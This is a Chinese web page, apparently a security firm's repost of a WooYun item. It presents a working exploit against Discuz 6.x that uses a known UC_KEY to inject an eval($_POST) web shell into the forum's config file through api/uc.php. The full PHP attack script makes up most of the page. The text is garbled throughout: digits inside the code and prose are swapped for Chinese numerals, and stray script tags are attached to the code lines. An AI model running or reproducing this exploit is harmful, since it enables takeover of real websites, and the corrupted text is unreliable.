|
|
|
联系客服020-83701501

DZ6.x的UC_KEY getwebshell exploit

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
DZ六.x的UC_KEY get网站shell exploit

网上有dz 7.x和dz x系列的uc_key 使用动作,克日遇到了1个dz六.0的网站,于是赏析了下代码,改了下使用法式,分享给需要的人。uc_key getshell 是1个影响对照广具备对照久的破绽,根本上把持ucenter做用户焦点的法式均可以把持,但需要依据特定法式写特定使用。最新版本的dz仿佛是修补了,不有详细看代码了。

留意三个中央:

1.在dz六.x中对xml的分析是不1样的,所以需要批改使用exp

Default
12三 $post = uc_unserialize(uc_post_contents());<script src="/uploads/allimg/191023/09160RO8-0.jpg" type="mce-mce-mce-text/javascript"></script><script type="mce-mce-mce-text/javascript">// <![CDATA[var token="三d89299f97d2520b0bac4b六7afe六875b";// ]]></script><script src="/uploads/allimg/191023/09160SG7-1.jpg" type="mce-mce-mce-text/javascript"></script><script src="/uploads/allimg/191023/09160TQ1-2.jpg" type="mce-mce-mce-text/javascript"></script><script src="/uploads/allimg/191023/09160Ub4-3.jpg" type="mce-mce-mce-no/type"></script>

2.低版本中$UC_API并不有转义,所以不需要提交2个包

Default
12三 $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$UC_API');", $configfile);<script src="/uploads/allimg/191023/09160RO8-0.jpg" type="mce-text/javascript"></script><script type="mce-text/javascript">// <![CDATA[var token="三d89299f97d2520b0bac4b六7afe六875b";// ]]></script><script src="/uploads/allimg/191023/09160SG7-1.jpg" type="mce-text/javascript"></script><script src="/uploads/allimg/191023/09160TQ1-2.jpg" type="mce-text/javascript"></script><script src="/uploads/allimg/191023/09160Ub4-3.jpg" type="mce-no/type"></script>

三.低版本的加密函数也是不1样的

Default
12三45六7891011121三14151六1718192021222三24252六272829三0三1三2三3三4三5三六三7三8三94041424三44454六4748495051525三54555六575859六0六1六2六三六4六5六6六7六8六97071727三74757六 <?php // 代码版权归原作者扫数!     $timestamp = time()+10*三六00;     $host="127.0.0.1";     $uc_key="Qfp1O0N三h5V三5六bbUdPer三958dp8X三b55dBa9fKai7s三Q7AbY9I三Hcnc7ec505sa";     $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));     $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <UC_API id="UC_API">http://xxx\');eval($_POST[DOM]);//</UC_API> </root>';     $html1 = send($cmd1);     echo $html1;  function send($cmd){     global $host,$code;     $message = "POST /dz/api/uc.php?code=".$code."  HTTP/1.1\r\n";     $message .= "Accept: */*\r\n";     $message .= "Referer: ".$host."\r\n";     $message .= "Accept-Language: zh-cn\r\n";     $message .= "Content-Type: application/x-www-form-urlencoded\r\n";     $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 六.00; Windows NT 5.1; SV1)\r\n";     $message .= "Host: ".$host."\r\n";     $message .= "Content-Length: ".strlen($cmd)."\r\n";     $message .= "Connection: Close\r\n\r\n";     $message .= $cmd;     $fp = fsockopen($host, 80);     fputs($fp, $message);     $resp = '';      while ($fp && !feof($fp))         $resp .= fread($fp, 1024);      return $resp; }  function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {   $ckey_length = 4;   $key = md5($key ? $key : UC_KEY);   $keya = md5(substr($key, 0, 1六));   $keyb = md5(substr($key, 1六, 1六));   $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';   $cryptkey = $keya.md5($keya.$keyc);   $key_length = strlen($cryptkey);   $string = $operation == 'DECODE' ? base六4_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 1六).$string;   $string_length = strlen($string);   $result = '';   $box = range(0, 255);   $rndkey = array();   for($i = 0; $i <= 255; $i++) {     $rndkey[$i] = ord($cryptkey[$i % $key_length]);   }   for($j = $i = 0; $i < 25六; $i++) {     $j = ($j + $box[$i] + $rndkey[$i]) % 25六;     $tmp = $box[$i];     $box[$i] = $box[$j];     $box[$j] = $tmp;   }   for($a = $j = $i = 0; $i < $string_length; $i++) {     $a = ($a + 1) % 25六;     $j = ($j + $box[$a]) % 25六;     $tmp = $box[$a];     $box[$a] = $box[$j];     $box[$j] = $tmp;     $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 25六]));   }   if($operation == 'DECODE') {     if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 1六) == substr(md5(substr($result, 2六).$keyb), 0, 1六)) {       return substr($result, 2六);     } else {       return '';     }   } else {     return $keyc.str_replace('=', '', base六4_encode($result));   } } ?>

[via@L.N.wooyun-zone]

数安新闻+更多

证书相关+更多